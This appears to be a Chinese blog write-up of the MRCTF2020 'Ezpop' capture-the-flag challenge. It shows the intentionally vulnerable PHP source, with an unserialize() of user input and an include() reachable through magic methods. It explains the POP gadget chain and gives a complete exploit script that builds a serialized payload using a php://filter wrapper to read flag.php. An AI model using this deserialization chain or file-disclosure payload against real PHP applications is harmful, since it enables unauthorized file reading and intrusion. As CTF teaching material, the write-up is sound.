[MRCTF2020]Ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

直接给出了一段源码

在这里插入图片描述
明显的反序列化题目,找找高危函数
看到 Modifier这个类
在这里插入图片描述
include()这个函数常用于文件包含,而想要调用这个函数,我们需要调用__invoke()这个魔术方法,而这个魔术方法有个特性
在这里插入图片描述

再看到Test这个类
在这里插入图片描述
当访问和设置未定义和已经订定义但关键字为’private,protected’属性时会自动调用__get(),__set()方法。
同时__get()这个魔术方法返回了一个函数

看到Show类
有个__construct()魔术方法
创建新对象的时候会自动调用这个方法

 public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }

还有__toString() 这个魔术方法
当echo 一个对象时会自动触发__toString()魔术方法

  public function __toString(){
        return $this->str->source;
    }

而他返回了$this->str->source;

所以要echo include()里的内容
得让source等于一个对象

思路如下:

  1. 调用include()函数,让Test类中的属性p等于Modifier这个类,从而触发__get()魔术方法
    将Modifier这个类变成一个函数,从而调用__invoke()方法,进而调用include()函数

  2. 让source 等于对象,进而触发__toString方法,输出内容

exp如下

<?php
class Modifier {
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

}


class Test{
    public $p;
	
}

class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Test();
    }
}


$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();


echo urlencode(serialize($a));

?>

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值